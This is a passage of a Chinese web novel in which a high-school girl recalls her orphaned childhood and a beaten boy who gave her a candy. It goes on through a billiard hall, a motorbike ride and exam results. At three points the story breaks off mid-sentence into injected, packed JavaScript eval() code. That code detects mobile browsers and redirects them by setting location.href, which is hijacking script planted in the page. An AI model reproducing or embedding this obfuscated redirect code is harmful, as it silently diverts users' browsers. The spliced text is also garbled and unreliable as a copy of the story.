陈昱没吭声,手里把玩着手机,他跟李屏东说话时一直在打游戏,最近很流行的一款手游,李屏东刚说完话,他游戏的声音就没了。 紧接着旁边李屏东又说:“卧槽不是,他什么时候加的你?找你约架啊??” 戈冬菱眼睫忽闪,余光揪回来,心也提了上来,手指摁了一下手机屏幕,一打开就是添加好友的界面。 盯着空白的界面看了好一会,嘴角抿紧,给徐俐回消息。 【没加上,要不你自己加试试。】 发完把陈昱的微信号复制给她。 刚发过去的同一秒。 徐俐:【哦那算了,不同意你的肯定也不同意我的了,你期末考试好好考,要不要寒假我给你补习?】 【不用,我有问题截图给你。】 【行。】 为了避免在车上坐过站,她强忍着犯困睁着眼睛看着窗外。 又开始下雪了。 玻璃窗上都满是雾气,整个世界变得模糊了。 车子摇摇晃晃到了站点,戈冬菱抱着书包跟着前方也要下车的人挤下去。 下了车,车从自己眼前离开,戈冬菱才认定了那个事实。 陈昱没下车,他今天大概不住在居民楼。 戈冬菱后来听到徐俐说过,她新家楼上也是陈昱的住处,是他爸妈生前的,他偶尔会回来住。 不知道是不是没有加上他微信的缘故,后来那一周徐俐都没再提过陈昱。 甚至于开始闷头苦学,这次期末的目标是拿第一,并力争在高三下班学期脱去万年第二的名头一雪前耻。 期末考试结束那天徐俐跟她一起下馆子,俩人背着书包并肩走在校门口的人行道上,还下着雪,也没打伞,蒙着棉袄大大的帽子,任凭肩头被雪打湿。 “你不是说要成人之美吗。”戈冬菱吸了吸鼻子,双手揪着书包的日型扣,脸颊要被扑面而来的冷风冻僵。 徐俐说:“我不,我失恋了,我要找个别的事情做,不然很容易分心的。” 戈冬菱是在这一刻才忽然意识到,这几天徐俐连在微信里都没再提过这个名字,像是真的。 “你就这么放弃了?” “也不算放弃吧,感觉就算是认识了他也不会喜欢我,更况且,我还有自己的路要走。” “任何会阻碍我的东西都没有存在的必要,也没有开始的必要。” 徐俐成绩很好,以后前途一帆风顺。 戈冬菱点了点头。 可是她不是喜欢他三年吗? “我们来交换个秘密怎么样?”她很忽然地说。 一直走到店里,戈冬菱跟徐俐点了份羊肉汤。 这家店是新开的,皮质沙发椅,很有质感的黑木方桌,每个位置餐桌之间都是隔开的,比其他店要干净很多,因价格比其他店要贵一些,来的都是些附近的学生。 店内很安静。 戈冬菱捏着勺子喝了口汤,浓黄色的汤底,带着一股很香又不腥的羊肉味,有一点咸辣。 “什么秘密?” “你先告诉我你跟尢雪梨怎么认识的。” 戈冬菱没明白:“这很重要吗?” 徐俐沉了口气:“好吧,确实不是很重要,我主要是不想你高中毕业后成她那样的人。” 戈冬菱没吭声。 徐俐又戳着面前的小碗,轻声说:“我知道你妈不是——算了,不说了。” 戈冬菱胳膊撑着桌面,脑袋都往她那边伸过去,轻眯了下眼睛问:“你有什么秘密。” 徐俐放下手里的勺子,试图转移话题,于是说:“我的秘密就是……我喜欢陈昱的原因之一,是因为我高一那会身边有个很好的朋友。” 好朋友? 戈冬菱现在还记得徐俐高一时是班长,她的性格太直接没什么朋友跟她玩,而戈冬菱却总是有很多人围着转,那时徐俐总是拉着她,还跟班主任说想跟她同桌,后来每次换位置都是他们两个坐一起。 她很淡定地看着戈冬菱,继续说:“我忽然发现那个朋友的视线总是追随着一个人,我就很好奇,那个人对她的吸引力到底是什么,因为我感觉她的目光是跟别人不一样的,她从来没想过上前,就只是单纯的看着那个人。” “久而久之,就变成我的视线也经常放在陈昱身上。” 戈冬菱一瞬间被定住,手维持着捏着勺子的动作,脸上没什么表情。 那双安静乌黑的眼看着人不动时其实很空洞。 空气持续凝滞着。 徐俐也只是低着头继续泰然自若地喝着鲜汤。 “是吗。”戈冬菱垂下眼睛,声调起伏不明显。 “那你的秘密也不算什么秘密啊。” *** 戈冬菱是在十三岁时被容春英收养的,同样是大雪纷飞的冬天,她被大人拉着,红着眼看着爸爸下葬。她一个人固执地站在墓地,一直到所有人都离开,膝盖都被跪到发麻才起来。 那时的椰林还没修建,那条沿海路带着海水潮湿的味道以及地面泥泞的尘土味。 她就沿着海滨路一直往前走,一直走到一条有许多人来打卡的下坡,在十字路拐角的地方,树立着一个有些歪的木牌子写着太阳巷。 她远离人群,走到附近一条小路,已经中午了,肚子发出饥饿喊叫。 附近死胡同的拐角处支了一个小摊,戈冬菱口袋里没有钱,所以也只是跟路边另外一个小流浪汉一起盯着小贩的格仔饼流口水。 看了几秒,嘴巴里咬着糖的小流浪汉就跑开了。 戈冬菱猜错了,女孩不是小流浪汉。 那个成了孤儿的人只有她。 小女孩乖乖地蹲在路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14207452|151011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边石墩上等她家人,戈冬菱转身欲要走。 胡同里有人呻吟痛吟的声音止住了她的脚步。 她的第一反应不是躲,而是好奇。 小贩离开之后,寂静的死胡同香气也没了,只剩下寡白的冷与看不到的胡同死角处少年强忍着的痛苦嘶叫声。 几个高年级的男生嘴角带着血,手里拿着棍棒往他身上掼,他被旁边另外男生踩着手,骑在腰上,没有任何反抗的余地。 “卧槽,你他妈命硬啊。” 一拳砸下去,他鼻骨都往外喷血,红色糊着眼睛,乌沉的天都变了色。 “一句话不吭。” 男生笑着,捏着手腕,回头看旁边男生:“哎,你们初中生都跟他这么犟?” 踩着他手的男生腿直打颤,碰上少年那双漆黑的眸,咽了咽口水说:“不知道啊。” 他朝着被打到喘息都没声儿的人吹了个口哨,“得了,要不叫声哥,叫声哥今儿就饶了你了,打得我手痛。” 陈昱没吭声,只是费力地睁着眼看着他,呼吸稀薄,全身都是冷的。 只有落在雪面的手攥成拳,指骨用力到磨破,留下很长的血印子。 僵持了不知道多久,男生没了耐心,捏着一把刀往他眼上刺。 “你他妈再看我一眼试试。” 陈昱睁着眼,下颌绷成一条线,眼神带着野性的凶狠。 刀尖即将入眼。 ——“哥。” 他嘶哑着嗓子,忽然笑着叫了。 他看上去执拗偏执,倒也很会低头。那低垂下来的、含笑讨好的眼神,像一条乞食的狗。 男生停住,勾着唇角笑了两声,拍了拍他的脸,眼神透着他挺识相的满意。 “懂事儿啊。” 刀入了刀鞘,把重量移开,一群人耀武扬威走进了光亮之处。 过了好久,那阴暗逼仄的死胡同里面才走出一个浑身带血的少年。 只穿了一件单薄的短袖跟破旧棉袄,长发盖着眼,头顶的血顺着往下巴处流,嘴角也被打烂。 初中的男生个头还没长起来,那时的他只比戈冬菱高一点,佝偻着肩,好像没有骨头支撑的步伐在薄雪上留下带血的脚印。 坐在旁边等爸妈的小女孩歪头看着他,跟他对视上,被吓得全身颤抖了一下。 他身上太多血了,不知道哪里的伤口,血都是浸透了衣服往下滴的。 女孩手里的棒棒糖吧嗒一声掉落,随后便是一阵响亮的哭声。 他瞥了一眼,一直走了很远,小女孩还在哭。 她捡起那颗糖,擦拭着上面的泥土跟雪,控诉又害怕地朝着远去的他看,哭得更大声了。 附近的便利店亮着昏黄灯泡,老板坐在躺椅上,旁边放了一个老立式的热风扇打鼾。 桌子被敲响,老板骤然吵醒,迷迷糊糊站起身问他要什么,眼神聚焦,被吓一激灵。 “我去,你这,没事吧?” 血从额头顺着高挺的眉骨往下流,他用衣袖擦了擦,露出一张骇人的脸。 陈昱掏了掏口袋里的烟,外面那层透明薄膜沾了他指骨上的血,在棉袄上蹭干净,放在桌面问:“还没拆,能换颗糖吗?” “一颗就行。” 大前门,便利店卖价三块钱一盒,算是这里面最便宜的一款烟,但抵一颗一毛钱的棒棒糖是够了。 他拿着糖走回了来时的地方,小女孩还在。 下雪厚重,寒风汹涌,站在这里能听到远处翻滚而来的海浪声。 路上人少了很多。 一个穿着黑色棉袄的少年蹲下身,眼睛盯着面前的女孩,从口袋中掏出一把用卫生纸包着的苹果味仔仔棒。 “别哭了,还你了。” 戈冬菱只是单纯的,也想要那颗糖。 8. 依存症 医学上有一种病症叫做依存症,研究称这是一种精神病,患者因某些事或摄入某些化学物质,必须极度依赖某种事物或某个人。 发病原因通常为该人对患者做出令其印象深刻的事情,亦有可能为通过该物品作媒介做出令其印象深刻的事情。 戈冬菱后来的那段时间很喜欢吃那种苹果味的仔仔棒,吃到牙疼,被收养了她的容春英带去看牙齿,医生告诉她以后不能吃甜食,吃糖吃多了不好。 初中的那几年,几乎被容春英盯着禁糖每天刷两遍牙定期复查的。 人似乎都有些叛逆心,得不到的越想要。 *** “一会要去哪?要不我们去拍大头贴吧!附近就有一家,好像新开的,价格也很便宜,最近椰林真的挺多新店的。” 戈冬菱看了一眼手机,有些犹豫说:“我还有事。” “尢雪梨?”徐俐眯着眼一针见血。 戈冬菱就没说话,假模假样低头喝汤。 “她怎么老是找你,她没朋友吗?她朋友一大堆找你干什么?不光是你妈那样觉得我也觉得,我记得你初中那会没下过前三,高一也都是跟我差不多的,怎么认识她了之后就考那么差了。” 戈冬菱想了想说:“我的成绩比较平均,所以分科后就没优势了。” “随便你吧,不过你们要去哪?” 戈冬菱就低下头看手机,抬起头说:“台球厅,她要教我打台球。” 徐俐扯着笑:“她就喜欢教你点没用的。” “估计陈昱也在。”戈冬菱问他,“你要不要一起去。” 她记得徐俐的台球也打的很好,学校没有台球厅,高一那会儿徐俐找了个台球老师学,发过朋友圈,她的教授妈妈总是毫不吝啬拓展她的任何兴趣。 “得了,我才不去,有她在就没我。” “我结账了啊,省着你那点钱给自己买糖吧。” 徐俐走了之后,戈冬菱才慢吞吞地继续喝着面前那碗汤。 见了底,背起书包戴上帽子去了附近的那家台球厅。 在一个胡同里,居民楼,楼梯围栏都生锈,没有灯的破旧楼梯道乌漆嘛黑,上三楼,尽头一个木门开着。 走进去像是一个家居的客厅,地方不大,大多是千禧年风格的红木家具,地板都是不同样式拼贴起来的。 老板正坐在前台喝茶追剧,电视机里正在播放着CCTV12的《普法栏目剧》,嘈杂又寂静。 “开多久?”老板移开眼看向戈冬菱。 “一个小时五块。” 戈冬菱说:“我找人。” 她一扭头,看到了里面老式的推拉玻璃门内,台球桌旁边站着的拿着台球杆的尢雪梨。 她跟章鹏在打,旁边一桌也是好几个男生拿着球杆,沙发上坐着李屏东跟陈昱。 还有几个陌生的男生,看上去差不多年纪大,穿着一件故意做旧的夹克,在聊什么,桌上放了好几盒软中,烟味萦绕在这间不大的台球厅内有些呛鼻。 在椰林这样的小县城,台球厅不多,台球厅里的女生更不多,又或者是因为这里早就被男生占领,像是尢雪梨这种敢跟他们坦荡玩在一起的又没多少。 颜明志注意到门外的女孩,盯着看了好几眼,她穿着一件黑色棉袄,背着一个格格不入的高浓度暗红色书包,过肩长发,很厚的日系刘海,一张白皙的鹅蛋脸被黑沉的衣服衬得白到几乎发光,远远一看,那张脸格格不入的漂亮。 余光又注意到一直兴致缺缺的陈昱也在此时抬起了头往玻璃门外看。 挑了挑眉,兴趣更浓,胳膊肘捅了一下李屏东:“谁啊。” 李屏东抬了下头,继续低下头玩贪吃蛇,边说:“尢雪梨她朋友。” 等人真的过来,颜明志彻底移不开眼了。 女孩走到尢雪梨旁边,只比她低一点,却比尢雪梨瘦一些,露出来的那一抹脖颈都是白皙又直的天鹅颈。 漂亮的好学生对坏学生有一种天生的吸引力。 这种感觉更像是一种挑战跟驯服。 “我不会。” 她的声调很平,不软也不冷,听上去毫无棱角。 “我这不是教你吗?期末考的怎么样?难吗?”尢雪梨问。 “挺难的。” 戈冬菱对打台球没什么兴趣,倒是旁边有个女孩忽然肚子痛,她就趁机跟人一起出去买卫生巾。 去了超市旁边的厕所,出来后她腰部还挂着个借来的男生外套。 戈冬菱在出神,目光没有落点。她没多往那边看,只有进门的那一秒看到了陈昱。 少年穿了件暗绿色夹克棉服,拉链没拉紧,里面又是套着件单薄的黑色长袖,脖颈那根黑绳的存在感很强。 戴着黑色鸭舌帽也藏不住他剪了短茬的头发。 那是极其短的短寸,甚至露出后颈明显棘凸,下巴处转折更加锐利,轮廓整个立体,五官都很硬,硬到让人想要去触碰他高挺的鼻骨,是不是想象里的触感,以及那时他的表情是否还像现在一样冷淡。 他就低着头,不知道在手机上玩什么,就算站在角落,也总是轻而易举吸引所有视线。 出来时雪已经不下了,屋檐正在往下滴水,声音噼里啪啦交错,滴出明显的一个小坑涡,残雪落败地一块一块铺展在柏油路上,被飞驰而过的车轮压过,跟泥土混在一起成为脏兮兮的泥水。 清冽的空气吸进鼻腔刺疼,戈冬菱捏了捏泛红的鼻子。 “谢谢你陪我啊,你跟昱哥一个班的?”她捂着肚子问。 戈冬菱愣了下,揣着口袋摇了摇头。 “我们不认识。” “啊……”她眉宇带着笑,似乎想说什么又没说。 他刚才抬头扫了她一眼,那一眼跟别人不一样,还以为他们认识。 “加个微信呗。” 戈冬菱有些佩服他们这群人的交友能力,从口袋里掏出手机,打开微信二维码给她扫。 她加上之后才盯着戈冬菱的微信名看。 只有一个菱字。 “你名字吗?怎么念啊。” “戈冬菱,戈壁滩的戈,冬天的冬,菱形的菱。” “好怪的名儿。”她嘀咕敲打。 戈冬菱笑了下说:“我爸爸本来想取冬凌草的凌的,结果派出所打错字了。” “你这样说就好记多了。我名字微信打给你哈。” 她看了看时间说:“我得回家了,我一会肯定会痛死,你帮我个忙嘛。” 她说着低头解腰部的衣服,递给她。 “能帮我把衣服给盛贞吗?” 戈冬菱接过,又听到她说:“盛贞你认识吗?他就在里面棋牌室,你叫一声就行了。” 她本来说要给他洗一下,人说不用,他的衣服喜欢自己洗。 “认识。他在棋牌室干什么?” “兼职呗还能做什么。” 戈冬菱皱了下眉,偏着头问:“他家不是挺有钱的吗?” 他爸可是校长。 “那我就不知道了,我要走了,谢了哈。” 戈冬菱就抱着盛贞的衣服站在原地,看着女孩弯着腰捂着肚子安全走过对面人行道,转身上了楼。 外套已经没了温度,被风吹的凉到冻手,她下意识抱紧,上了楼之后穿过台球厅,也没太看尢雪梨在跟他们聊什么。 压着脑袋径直进了里面棋牌室,站在走廊等了好一会,等到盛贞出来走上前把衣服递给他。 “你的衣服,谢谢。”戈冬菱说。 盛贞看了她一眼,接过也没吭声。 他的身高也很高,跟陈昱不相上下,头发很长,对比刚理了短寸的陈昱,他后脑勺的头发到了狼尾的长度,前面凌乱的发丝盖过眼,像是陷入阴沉的地狱里。 靠近那一瞬,倒是能闻到他身上很浅的洗衣粉的味道,很清新,冲破了那股子潮湿。 “你没事吧?”戈冬菱忽然转过身,看着盛贞的背影。 盛贞脚步一顿,也没回头,摇了摇头,声音嘶哑说:“没事,谢谢。” “伤口还是要及时处理好。”戈冬菱忍不住提醒。 他伸出手接衣服的那一瞬间,露出了一点白皙瘦弱到病态的手腕,上面满是青紫的痕迹。 他没回应。 戈冬菱从棋牌室出来,一眼看到陈昱旁边坐着一个女孩,蘑菇头,戴着个黑色镜眶,身上穿着笨重的棉袄,姿态拘谨地坐在沙发上,眼神倒是在偷偷瞄着陈昱。 脑海里下意识给这女孩对上了号,之前陈昱跟人在面馆打架,是因为有人欺负了一个女孩,应该就是她。 “哎,我们俩玩一局吗。” 视线被遮挡,戈冬菱看着颜明志,摇头说:“我不会。” 颜明志眼神灼灼盯着这张脸,脸上带着退不掉的笑。 “我教你啊。”说着就拉着戈冬菱的衣袖往旁边台球桌那儿走。 他手掌扣得很紧,戈冬菱被吓了一跳,又在众目睽睽之下被他强拉硬拽过去,脚步都踉跄了下差点摔倒。 颜明志从架子里捞起一根杆,捏着巧粉磨,随后把杆递给她。 杆在空气中迟迟没有支撑。 戈冬菱的手垂在身侧,下意识攥紧了。 “接啊?没看着我递着吗?” 见戈冬菱没给面子,他的声音变得有些冷了,直接把手里的台球杆扔在她身上。 不重的力道,杆直直打在她肩膀处。 她此时侧过头,忽然没有看到尢雪梨的身影,章鹏也不在,门外的老板往这边看了一眼,又继续看电视剧。 整个台球厅都是陌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她的心跳还没平复,呼吸急促到鼻腔撕裂般疼,眼睛也开始泛红。 【我已经回去了,不怎么好玩。】 【寒假怎么安排?】 【去我妈店里帮忙。】 等她跟徐俐七扯八扯聊完,戈冬菱深呼了口气,切出聊天界面时,眼神又一滞。 手指在屏幕上抖滑了一下,点开,看到最上面一句很小的灰字。 [我通过了你的朋友验证请求,现在我们可以开始聊天了。] 她的脚步骤停,就这么站在冷天街道。 盯着那行字,过了会脑子机械似的启动,在想是先告诉徐俐,还是先点开看一眼他的朋友圈是否对她开放。 潜意识战胜了理智,点开,纯黑的头像下,个签写着“世界和平”。 朋友圈只发过一条,是今年五月份发的一张图片,背景图也是这张。 居民楼的巷子里种了一颗老树,夏季开花的苦楝树怒放着繁茂的淡紫色花,树杈上挂了一个歪歪扭扭的方形纸箱子,用红色记号笔写着看不清是什么的两行字。 她盯着看的时间有些久,眼又开始酸疼,无数词汇在脑海里冲荡,也实在看不清上面写的是什么。 他补作业字也写的这么烂吗? 老师能看清吗。 他好像是左撇子。 “内有恶犬,被咬不赔,我写的有这么难认么。” 磁质清晰的声音蓦地从身后贯穿过来,几近袭击的力道撞击在耳膜,她下意识抓紧手机。 眼前图片上歪歪扭扭的字体忽然变得清晰明了。 微微仰起头,这几秒好似慢动作,最终在跟他视线猛然撞上的瞬间定格。 眼里也清晰显出他那双漆黑的眸。 他的视线没在她的手机上,就站在几乎紧贴着她侧臂的位置,身高的优势,轻轻低头睨下来,一览无余。 看完一眼,就好整以暇地看着她。 从这个方向,她微微鼓起的脸颊像是藏了一块棉花糖。 “想知道什么。”他语气很平问。 戈冬菱一时之间没吭声,最终脑袋轻晃了几下,幅度几近于无,更像是一种抖。 又轻声问他:“什么意思?” 陈昱回想了下,说:“养了条狗看树,小孩儿总掰树杈。” 养了条狗看树? 这也行么。 还没等戈冬菱做出反应。 他哼笑下,那气息几乎打在她头顶,让她微微感觉到了些气息的温度。 她缩了下脖子往旁边移,又抬眼看他。 不知道是不是剪了头发的缘故,他整个人都比她想象中的要冷硬,他总是跟那些县城痞子为伍,但戈冬菱从来觉得他不同。 可此时,这么近的距离,戈冬菱又在瞬间觉得,是那些人跟从他才对。 分明陈昱至高无上。 “一起回去吗?我开了摩托车,顺道。”他下颌歪向旁边被撞到有些破烂的摩托车。 没声儿。 陈昱侧过头,看到戈冬菱小心翼翼地点了点头。 9. 十字路 戈冬菱跟他一起进了那个胡同,看到旁边一个淋着雪的摩托车,只有前面的仪表盘搭了个黑色衣服,他挂到旁边门上开了出来,过了两秒又擦了擦后座上的湿水。 “会坐吗?” 陈昱盯着这辆开着都能掉一路零件的破烂摩托,补了一句说:“章鹏的车。” 戈冬菱摁着车座爬上去,不太明白他后面补充的意思。 她不光会坐,还会开。 “我知道,上次章鹏带过我。” “你们很熟?” 陈昱的嗓音从前方荡过来。 戈冬菱说:“他想追尢雪梨,讨好我。” 从后背也能看出他笑的声音伴随着肩膀微微颤动。 戈冬菱盯着他这件外套,下一秒还是选择仅仅抓住了车座的旁边。 手指裸露在雪天,很冰,冷的车从原地驶向马路时她仍旧感觉手指被割似的疼,几乎瞬间,没了知觉。 摩托车的声音突突地响在耳畔,他开的不快,风雪太冷,戈冬菱就压着脑袋用他的背跟自己的衣领挡住四面八方袭来的冷风。 走到一半两人都是沉默的。 快到了七苔街,戈冬菱才说话。 “你送我到门口西边拐角就好了。” 车倏然开快了一些,戈冬菱没设防,身子晃动的一下把她吓了一跳,下意识抓住了他后背的衣服。 坐在后座的颠簸跟失重感是很重的,好似他轻而易举就能把控她的心跳。 戈冬菱侧着头试图去看前方他的表情,可陈昱的脑袋往前压,手指捏着摩托车的把手往前飙,风速很大,呼啦啦地刺着耳朵。 她抿着唇,手指一点一点从他衣服上移开,低下了脑袋。 到了十字路口,旁边就立着七苔街的路标牌子。 戈冬菱下了车,扯了扯肩膀上的书包,双手揣进兜里暖手,可惜口袋里也是冰冷的,像是两颗石头的紧贴。 陈昱扫了她一眼,长腿利索地支棱着摩托车。 戈冬菱就站在旁边看着他拧开钥匙,又重新打火。 这种老式的摩托车要很用力地脚踩着油门挂档,冬天很难挂上去,他就单腿支撑着摩托车掏出了手机。 戈冬菱站在旁边,不知道要不要先走。 这里距离居民楼也就剩下三百米的距离,就算是推回去也很快。 大概是想起来了旁边还站着一人,他的视线从车上移开放她身上。 “怎么不走,不是不想让人看到吗?” 走过这个拐角,附近有很多小商店,面馆,大排档,录像室,新开的那家大头贴,还有个小学也在附近。 戈冬菱没吭声。 视线又落在他穿着的这件翻领衣服上,那群人总是穿着风格迥异的衣服,流里流气盲目跟从。 可陈昱总是特立独行,他很喜欢黑色,穿着都很简单,他长得帅穿什么衣服都很特别。 过两秒,手指扣了下书包上的日型扣,转身往前走。 身后什么被踹了一下,发出“砰”的一声。 “草,回来。”他的声音有些不耐烦。 戈冬菱就又停住了脚步,嘴角不由自主地勾了一个微乎其微的弧度。 侧着头看他,身子还是准备往前走的姿态。 陈昱从口袋里掏出一盒烟,是个红色的烟盒,用繁体写着中华。 他咬着一根,又从口袋里捏着个zippo打火机,指腹擦着砂轮发出“呲”的一声,烟头发出猩红的光点,像是一些细碎的星火,他别了下头把那半口烟溢出来。 声音沙哑了一些,顺着风渡过来: “你跟她不一样,少跟她玩。” 戈冬菱没想到他会说的是这个。 把书包卸下来,从最外面的小夹层里掏出一个小盒,蓝色的,递给他。 陈昱没接,低眸看着那个盒子最外围标签上的字。 凡士林。 经典修复晶冻原味。 戈冬菱见他纹丝不动,就走上前些把东西往他口袋的地方移。 再多一分就要伸他外套兜里了。 陈昱伸出手,捏着那个小盒子。 低垂着眼问:“给我干什么?” “刚才谢谢你。” 陈昱把药收了,下了车身子倚着摩托车,微抬着下颌,视线笔直地看向她。或许因为这短茬到很难驾驭的寸头,让他的脖颈跟五官更加明朗犀利,戈冬菱有些害怕他。 那并不是一种会被欺负的害怕,而是难以靠近,怕他像一根燎原之火也难以点着的湿木。 “你这么容易相信人吗?怪不得会被尢雪梨耍着玩两次。” 戈冬菱想要辩解什么,张了张唇又哑口无言。 想了几秒,还是说:“她之前保护过我。” 陈昱盯着她看了两眼,耸了下肩,“随你。” 他就没再搭理她了,一直在抽那根烟,低着头给谁回消息,被冻到泛红的手指似乎要红肿了。 过了大概十几秒,灭了烟开着摩托车走了,一眼没看她。 那辆摩托车的仪表盘都有些裂痕,用着透明胶带粘上去。 现在还没有禁摩令,没警察管,县城的大多数人都会开着辆摩托车在大小巷子跟马 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她趴在课桌上,胳膊下压着课本,下巴抵着手背,另一只手点进跟他的聊天界面,又点出来,点进去,又点出来。 许久,才犹犹豫豫挣扎又挣扎给他发了一条微信。 【涂了吗?】 【没。】 戈冬菱反应有些慢,敲着拼音打字:【是学校医护室买来的,医生说,很好用。】 【不想。】 戈冬菱看着手机,眼前界面有些虚化,手指磨着已经花到看不清的按键,脑袋低了低。 【可是耳朵会流血,手上也流血,你不疼吗?】 【你还有别的事儿吗?没有就删了。】 【不想跟我这种人牵扯,就别招。】 10. 下雨天 出期末成绩了。 群里发了两个成绩表,一个是班级的排名跟各科分数,还有一个全年级的。 戈冬菱从聊天界面切出来,点开群,打开了全年级的成绩单。 徐俐第一名,比第二名的盛贞高两分。 事实证明,努力是没有办法胜过天生聪慧的。 她切出群聊天,重新点进跟陈昱的聊天界面,盯着最后两行字,发了最后一句话。 【对不起。】 没等得到他回复,删掉了好友。 捏着手机,眼睛才开始一点一点泛红,一直到泪眼模糊看不清,她吸了吸鼻子。 从此至终都没什么声音。 一直到这个年过完,戈冬菱再也没见过陈昱。 那是2010年陈昱跟她说的最后两句话。 之后在尢雪梨的朋友圈看到她发的照片,偶尔会有陈昱的地方,也会有那个蘑菇头的女孩,她染了紫色的挑染,长相很幼穿着却很成熟,好似硬生生挤进了他的世界。 *** 她很早就把暑假作业写完了,白天就帮容春英在店里帮忙,她搬不了什么重物,也就做点打杂的扫地什么的,或者就是中午帮忙给她买午餐拿东西。 中间尢雪梨给她发过微信,戈冬菱都没回。 大概是知道她生气了,尢雪梨还来找过她,可刚好碰上容春英跟她一起回来,她就老远站十字路口看了一眼,又坐上旁边章鹏的摩托车走了。 伴随着那边轰鸣的摩托车响声,容春英把她训了一顿。 “那男生是干什么的?她不光学习不好还早恋,你说你跟这样的人玩能学到什么?” 戈冬菱就不说话了。 过了会儿转移话题说:“徐俐约我去自习,我中午不回来吃饭了。” 容春英沉了口气掏钱给她:“去吧,请人家吃个饭,别每次都让别人请客。” 戈冬菱接了,徐俐爸妈是县城挺有名的一家人,她妈妈在市里大学当教授,爸爸在县城体制内当官,如果不是因为爸爸的工作跟奶奶的原因,她或许不会在县城生活。 出了门,戈冬菱才给徐俐回了个电话。 “你叫盛贞没。” 徐俐那边嘴巴里正在吃东西,含含糊糊地说:“叫了,好说歹说才出来的,你叫他干嘛?” “你不会是喜欢他吧?”那边忽然声音就清晰严肃起来了。 高一的时候如果说盛贞只有一个同学,那一定是戈冬菱。 “没有……你想什么呢。” 戈冬菱就说:“不是说了一起学习吗,他物理比你好很多。” 徐俐胜在英语满分上。 高一那时候戈冬菱也经常跟盛贞一起吃饭,两个人值日被安排到了一起,就协商合作有人去买两份回来一个人先打扫。 他们关系不算好也不算坏。 更别说,盛贞那个闷葫芦书呆子,不太会拒绝朋友的要求。 戈冬菱到的时候徐俐已经在咬着根笔看书了,时不时抬眼看了眼盛贞的卷子看他做题进度。 走进去之后把书包卸下,目光落在盛贞身上。 人穿着件黑色棉袄,头发剪短了些但对比一般的男生还是有些长,低着头一声不吭做英语的阅读理解。 对比盛贞内敛到堪称自闭的性格,他的长相却很明艳,丹凤眼,五官立体,要比很多女孩都白皙,眉眼间的那股子阴郁气息让人敬而远之。 只有戈冬菱主动跟他说过话。 大眼一扫,他五道题错了两个。 戈冬菱胳膊压着课本,往前趴了趴,轻声问他:“你没事吧?” 盛贞看了她一眼,摇了摇头没吭声。 戈冬菱就从口袋里掏出了一个药膏给他。 “给你吧,我上次去医护室顺便买的。” 旁边刷算数学题的徐俐猛然抬头,抓住重点问:“你去医护室干什么?” “有点鼻塞买感冒药。” 徐俐就没说话了。 盛贞看了她一会,还是把药收了,又说了声“谢谢”。 一整个上午三人都在自习写作业,戈冬菱几乎没问过问题,也没写卷子,一直看课本上的基础知识,只有徐俐跟盛贞在讨论物理题的声音细细碎碎的响起。 中午出了太阳,刺拉拉的光线从旁边玻璃窗处照射过来,戈冬菱歪过头看了一眼,又看了看时间,徐俐点了餐,又是她请客,给他们三个人都点了牛肉面。 盛贞欲言又止,大概是想要付账但又请不起他们三个。 老板跟徐俐很熟,是徐俐的近门亲戚,除了午餐时间店里人很少也很安静,更别说他们还坐在角落,她跟徐俐偶尔会在这边自习。 等上菜的时徐俐也在看书,而盛贞在看一道题的答案。 他们仨高一时还建过一个学习小组,到现在只有戈冬菱没跟上。 “尢雪梨那个唱片行在附近啊?”徐俐忽然问。 戈冬菱就点了点头,还不是在附近,就在对街。 顺着她的目光一转头,就看到窗外的街道对面站着几个人。 章鹏的那一头黄毛太过鲜亮,很容易辨别出来站在他旁边的是尢雪梨。 其中没有陈昱。 手机嗡响了一声。 尢雪梨:【看到你了,一起拼个桌?】 戈冬菱:【别了,我同学在。】 尢雪梨:【行。】 发完,就叫着章鹏去别的店,章鹏定睛一看才瞧见店里那个是戈冬菱。 “啊?那去哪吃。” 尢雪梨就站在街边,双手插着兜,不嫌冷地穿着件褶裙,嘴里咬着一个pocky棒在牙齿间上下磨,“咔啪”一声咬断。 侧头看向章鹏问:“那个男的是谁?” “啊?哪个啊?” “戈冬菱对面那个,你们学校的?” 章鹏盯着看了两眼,随后说:“盛贞吧,一班的,我们学校校长儿子。” 说完他又说:“你应该见过啊,你不是也去过几次那个台球厅吗,旁边那个棋牌室他给人洗牌装牌。” 章鹏又笑了声:“他之前被打过。” “为什么?”尢雪梨不太在乎跟她没有关系的人,就算见过挺多面,也没什么印象,此时又产生了些好奇心。 “他给人出老千拿分成,就被人打了,没想到后面还敢去兼职,那么缺钱。”章鹏啧了一声,又说,“不过,他打牌真的厉害,什么牌都会玩,只要他想赢,或者是他想要谁赢,就一定可以,他会记牌。” 章鹏说着偏头看向尢雪梨,话音倏然断了。 这个角度,清晰地看到她剔透瞳孔里映出的雪后街景,霓虹灯照射进去,像是一抹闪过难以捕捉的光。 “是么,这么厉害。” 尢雪梨吃完了那根巧克力棒,转头说:“走了。” 章鹏抿了抿唇,不太舒服,问:“去哪?” “唱片行,还能去哪,不想吃了。” *** 戈冬菱吃完饭再往外看时,尢雪梨已经离开了。 她转着笔,收拾着自己的卷子说:“我得走了,要去我妈店里帮忙,改天再约。” 盛贞饭没吃完就回去了,他爸给他打电话让他回去。 徐俐拖着下巴,兴致全无:“哎这么年过的好无聊啊。” 戈冬菱笑笑,轻声说:“你可以出去玩。” 徐俐眼睛忽然一亮:“对哦,要不我们两个出去?我买车票,你跟着我就行。” 戈冬菱视线一滞,摇了摇头说:“我去不了。” 她的前程末路,在容春英的一念之间。 